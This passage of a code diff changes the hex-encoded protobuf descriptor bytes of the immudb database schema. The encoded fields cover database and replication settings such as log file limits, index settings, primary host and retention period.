0x78, 0x50, 0x6f, - 0x6f, 0x6c, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x49, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x46, 0x72, - 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x17, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, + 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x12, 0x76, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, + 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x4f, 0x0a, 0x13, 0x74, + 0x78, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, + 0x65, 0x73, 0x18, 0x11, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, + 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x13, 0x74, 0x78, 0x4c, 0x6f, 0x67, 0x4d, 0x61, + 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x57, 0x0a, 0x17, + 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, + 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x12, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, - 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, - 0x64, 0x73, 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, - 0x79, 0x12, 0x47, 0x0a, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, - 0x53, 0x69, 0x7a, 0x65, 0x18, 0x18, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, - 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x44, 0x0a, 0x0b, 0x61, 0x68, - 0x74, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x19, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x41, 0x48, 0x54, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, - 0x6e, 0x67, 0x73, 0x52, 0x0b, 0x61, 0x68, 0x74, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, - 0x12, 0x53, 0x0a, 0x15, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x54, 0x72, 0x61, - 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x15, - 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x49, 0x0a, 0x10, 0x6d, 0x76, 0x63, 0x63, 0x52, 0x65, 0x61, - 0x64, 0x53, 0x65, 0x74, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x17, 0x63, 0x6f, + 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, + 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x4a, 0x0a, 0x0d, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x53, 0x65, + 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x13, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, + 0x65, 0x78, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, + 0x67, 0x73, 0x52, 0x0d, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, + 0x73, 0x12, 0x51, 0x0a, 0x14, 0x77, 0x72, 0x69, 0x74, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, + 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x14, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x10, - 0x6d, 0x76, 0x63, 0x63, 0x52, 0x65, 0x61, 0x64, 0x53, 0x65, 0x74, 0x4c, 0x69, 0x6d, 0x69, 0x74, - 0x12, 0x43, 0x0a, 0x0d, 0x76, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, - 0x65, 0x18, 0x1c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x76, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, - 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x59, 0x0a, 0x12, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x1d, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x29, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x12, 0x74, 0x72, - 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, - 0x22, 0xc8, 0x07, 0x0a, 0x1b, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, - 0x12, 0x35, 0x0a, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x07, - 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, - 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, - 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x12, 0x3f, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, - 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, - 0x74, 0x12, 0x3f, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, - 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, - 0x72, 0x74, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, - 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x14, + 0x77, 0x72, 0x69, 0x74, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x56, 0x65, 0x72, + 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x08, 0x61, 0x75, 0x74, 0x6f, 0x6c, 0x6f, 0x61, 0x64, + 0x18, 0x15, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, + 0x6f, 0x6f, 0x6c, 0x52, 0x08, 0x61, 0x75, 0x74, 0x6f, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x45, 0x0a, + 0x0e, 0x72, 0x65, 0x61, 0x64, 0x54, 0x78, 0x50, 0x6f, 0x6f, 0x6c, 0x53, 0x69, 0x7a, 0x65, 0x18, + 0x16, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, + 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x72, 0x65, 0x61, 0x64, 0x54, 0x78, 0x50, 0x6f, 0x6f, 0x6c, + 0x53, 0x69, 0x7a, 0x65, 0x12, 0x49, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x46, 0x72, 0x65, 0x71, + 0x75, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x17, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, - 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x47, 0x0a, 0x0f, 0x70, - 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x06, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, - 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, - 0x77, 0x6f, 0x72, 0x64, 0x12, 0x45, 0x0a, 0x0f, 0x73, 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, - 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, + 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, + 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x12, + 0x47, 0x0a, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, + 0x7a, 0x65, 0x18, 0x18, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, + 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, + 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x44, 0x0a, 0x0b, 0x61, 0x68, 0x74, 0x53, + 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x19, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x48, + 0x54, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, + 0x73, 0x52, 0x0b, 0x61, 0x68, 0x74, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x53, + 0x0a, 0x15, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, + 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, - 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0f, 0x73, 0x79, 0x6e, 0x63, - 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x39, 0x0a, 0x08, 0x73, - 0x79, 0x6e, 0x63, 0x41, 0x63, 0x6b, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, + 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x15, 0x6d, 0x61, + 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x73, 0x12, 0x49, 0x0a, 0x10, 0x6d, 0x76, 0x63, 0x63, 0x52, 0x65, 0x61, 0x64, 0x53, + 0x65, 0x74, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, - 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x08, 0x73, 0x79, - 0x6e, 0x63, 0x41, 0x63, 0x6b, 0x73, 0x12, 0x51, 0x0a, 0x14, 0x70, 0x72, 0x65, 0x66, 0x65, 0x74, - 0x63, 0x68, 0x54, 0x78, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x09, + 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x10, 0x6d, 0x76, + 0x63, 0x63, 0x52, 0x65, 0x61, 0x64, 0x53, 0x65, 0x74, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x43, + 0x0a, 0x0d, 0x76, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, + 0x1c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, + 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x76, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, + 0x69, 0x7a, 0x65, 0x12, 0x59, 0x0a, 0x12, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x1d, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x29, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, + 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x12, 0x74, 0x72, 0x75, 0x6e, + 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0xc8, + 0x07, 0x0a, 0x1b, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, + 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x35, + 0x0a, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x07, 0x72, 0x65, + 0x70, 0x6c, 0x69, 0x63, 0x61, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, + 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x3f, + 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, + 0x6e, 0x67, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x12, + 0x3f, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, - 0x74, 0x33, 0x32, 0x52, 0x14, 0x70, 0x72, 0x65, 0x66, 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, - 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x61, 0x0a, 0x1c, 0x72, 0x65, 0x70, - 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, - 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x1c, - 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, - 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x49, 0x0a, 0x11, - 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, - 0x67, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, 0x73, - 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, 0x12, 0x4b, 0x0a, 0x12, 0x73, 0x6b, 0x69, 0x70, 0x49, - 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x18, 0x0c, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, - 0x52, 0x12, 0x73, 0x6b, 0x69, 0x70, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x43, - 0x68, 0x65, 0x63, 0x6b, 0x12, 0x45, 0x0a, 0x0f, 0x77, 0x61, 0x69, 0x74, 0x46, 0x6f, 0x72, 0x49, - 0x6e, 0x64, 0x65, 0x78, 0x69, 0x6e, 0x67, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, - 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0f, 0x77, 0x61, 0x69, 0x74, - 0x46, 0x6f, 0x72, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x69, 0x6e, 0x67, 0x22, 0xc2, 0x01, 0x0a, 0x1a, - 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, - 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x4d, 0x0a, 0x0f, 0x72, 0x65, - 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, - 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x0f, 0x72, 0x65, 0x74, 